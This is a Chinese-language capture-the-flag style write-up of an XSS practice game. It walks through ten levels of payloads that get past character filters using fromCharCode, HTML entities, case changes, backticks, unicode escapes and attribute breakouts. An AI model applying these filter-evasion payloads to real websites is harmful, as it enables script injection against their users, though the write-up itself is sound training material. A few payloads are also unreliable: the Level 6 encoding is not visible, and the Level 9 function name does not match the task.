Xss game WriteUp
Pratice:https://unescape-room.jobertabma.nl/
Level1
通过XSS去调用politeFunction
方法并传参字符串5
直接构造最简单的payload
<script>politeFunction('5')</script>
没有过滤 直接执行
Level2
通过XSS去调用kindFunction
方法并传参字符串87
输入payload
<script>kindFunction('87')</script>
发现8
被过滤了 那么换一种表达方式即可
先来了解两个JS的函数
String.fromCharCode()
//可将ascii码转换成对应的字符
可以用十进制 也可以用十六进制等等
charCodeAt()
//将字符转换成对应的ascii码
那么就可以用String.fromCharCode()
来代替表示被过滤的8
先查看8
对应的ascii码也可以直接查看ascii字符代码表
得知8
的ascii码为56
构造新的payload
<script>kindFunction(String.fromCharCode(56)+'7')</script>
挑战成功
Level3
通过XSS去调用tallSuperHero
并传参字符串252
先使用最简单直接的payload
<script>tallSuperHero('252')</script>
发现输入的252
没有显示出来 fuzz一下是过滤了什么
发现只是过滤掉了2
和5
还是可以用String.fromCharCode()
来进行绕过
但是2
和5
的ascii
码都包含5
5
是被过滤的 不能直接使用
稍微转换一下即可
构造payload
<script>tallSuperHero(String.fromCharCode(49+1,49+4,49+1))</script>
挑战成功
Level4
通过XSS去调用niceRobot
函数并传参字符串72462
输入点为img
标签的src
属性值中
在img
标签内也可以触发XSS,通过事件触发,常用的有onload
以及onerror
那么就要先逃逸出src
属性 自己构造onload
或者onerror
事件
构造payload:"onerror="niceRobot(72462)
发现输入的72462
变成了746
fuzz一下看过滤了什么
发现2
、5
被过滤了 继续使用String.fromCharCode()
进行绕过
"onerror="niceRobot('7'+String.fromCharCode(49+1)+'46'+String.fromCharCode(49+1))
挑战成功
Level5
通过XSS去调用niceRobot
方法并传参字符串2zqu5f
输入点同样位于img
标签的src
属性值中
在构造payload的时候发现on
被过滤了
那么通过事件去调用函数的这条路就走不通了 但是可以去闭合img
标签引入script
标签来调用函数
构造新的payload 2
被过滤了 可以用1+1
运算后为2
转字符串来代替
"/><script>niceRobot((1+1).toString()+'2zqu5f')</script>
Level6
通过XSS去调用niceSuperHero
并传参字符串6efexs7
输入点在input
标签的value
属性值中
可通过onfocus
事件配合autofocus
属性来触发
构造payload
"autofocus=""onfocus="niceSuperHero('6efexs7')
发现r
、x
被过滤了 可通过HTML实体编码来进行绕过
"autofocus=""onfocus="niceSuperHero('6efexs7')
Level7
通过XSS去调用politeRobot
并传参字符串ggtnocho
跟上一关好像没什么不同
"autofocus=""onfocus="politeRobot('ggtnocho')
挑战成功
Level8
通过XSS去调用niceHuman
方法并传参6gmsf3onex
输出点位于body
标签中
输入payload
<img src onerror="niceHuman('6gmsf3onex')">
然后发现g
、空格
、u
、单双引号
被过滤了
经过fuzz后发现没有过滤大写的G
可以用<imG>
当然也可以换成别的标签
空格可以用斜杠/
来代替分割u
和g
可以用实体编码来代替onerror
的引号可以不用 靠浏览器来补全
函数传字符串可以用反引号
来代替单双引号
最后构造出payload
<imG/src/onerror=niceHuman(`6gmsf3onex`)>
Level9
通过XSS去调用elegantFunction
并传参字符串e9p0iz7ywdd
输入点在img
标签的src
属性值中
输入后展示出来的反转的
这个没关系 先输入正常的payload再反转即可
通过fuzz发现过滤了c
、p
、e
构造出反转后的payload
那么通过onerror
时间是不行了 但是还可以用onload
p
和c
可用html实体编码绕过
先构造正序的payload:
https://www.baidu.com/img/bd_logo1.ppng"onload="elegantRobot(\'e9p0iz7ywdd\')""x
反转可用python的切片语法
Payload:
x"")'ddwy7zi0p9;101#&'(toboRtnag;101#&l;101#&"=daolno"gn;211#&p.1ogol_db/gmi/mo;99#&.udiab.www//:s;211#&tth
level10
通过XSS去调用tallHuman
方法并传参字符串hgiqge8X9WnK
输入点位于img
标签中的src
属性中
发现过滤了on
那么on
事件不可取 采用script
标签p
被过滤了 但是P
没有 可以用<scriPt></scriPt>
l
被过滤了 可以用unicode
编码 \u006c
代替
构造payload
"/><scriPt>ta\u006c\u006cHuman('hgiqge8X9WnK')</scriPt>
挑战成功